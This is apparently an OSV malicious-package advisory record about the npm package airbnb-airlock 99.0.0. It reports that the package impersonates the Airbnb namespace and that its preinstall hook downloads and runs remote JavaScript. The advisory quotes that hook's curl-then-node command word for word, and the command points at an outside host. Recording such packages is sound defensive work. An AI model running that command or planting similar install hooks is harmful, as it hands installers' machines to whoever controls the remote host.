airbnb-airlock

{"schema_version":"1.7.4","id":"MAL-2026-6293","published":"2026-06-23T14:11:48Z","modified":"2026-09-01T11:20:24.396266739Z","aliases":["GHSA-mx2w-2q79-99vv"],"summary":"Malicious code in airbnb-airlock (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (034fd98a2ccd98f2bec2201d130c5a102ad17907c37af34b5162592e26a0fd43)\nThe package's preinstall lifecycle hook in package.json runs `curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js`, fetching an unpinned JavaScript file from poc.amanrawat.com and immediately executing it with node during `npm install`. The fetched content is mutable and entirely controlled by the operator of that domain — installers run whatever bytes are served at install time, with no hash or signature verification. The package ships no other functional content; the remote fetch-and-execute is its only behavior. The package name uses the 'airbnb-' prefix to impersonate the Airbnb open-source namespace while being published by an unrelated author with a placeholder description ('Test') and an inflated version (99.0.0), consistent with namespace impersonation intended to lure installers searching for Airbnb tooling.\n","affected":[{"package":{"name":"airbnb-airlock","ecosystem":"npm"},"versions":["99.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"be1334c8fea52b8780ac6d2e4c9db381366d62eeab8190fbaf53ddc21788eae7","tlsh":"76e026348920107719c402d28c3aa40bd6c24e3b0104380d939b042cd0de93798fe31e"}],"package_integrity":[{"filename":"airbnb-airlock-99.0.0.tgz","hashes":{"sha1":"f5300e734c06a9de2a18a7b544cc33a212f87f96","sha512_sri":"sha512-YrHSLJsTMwrg7t1Cyq32Si11kk9JcE5yTcoPiAPRs+DS/Dg8tFhOCu7ytOrhfptGgu6xbtujJHmp/c9llNGaTw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/airbnb-airlock/v/99.0.0"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-mx2w-2q79-99vv"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-007205","import_time":"2026-06-23T14:23:03.286857051Z","modified_time":"2026-06-23T14:11:48Z","sha256":"034fd98a2ccd98f2bec2201d130c5a102ad17907c37af34b5162592e26a0fd43","source":"amazon-inspector","versions":["99.0.0"]},{"id":"RLMA-2026-05491","import_time":"2026-07-20T13:14:43.405862369Z","modified_time":"2026-07-20T10:32:43Z","sha256":"056514c32479bf3ccf237484369ce9b250a012b72265f42db53633b693c99aef","source":"reversing-labs","versions":["99.0.0"]},{"id":"RLUA-2026-05962","import_time":"2026-09-01T11:17:47.518543678Z","modified_time":"2026-08-24T16:35:44Z","sha256":"777d4e17106276e355d7d0f291ecc5cb2824096d8b4f15589e1f2b2b7ec651ca","source":"reversing-labs"}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"ReversingLabs","contact":["https://www.reversinglabs.com"],"type":"FINDER"}]}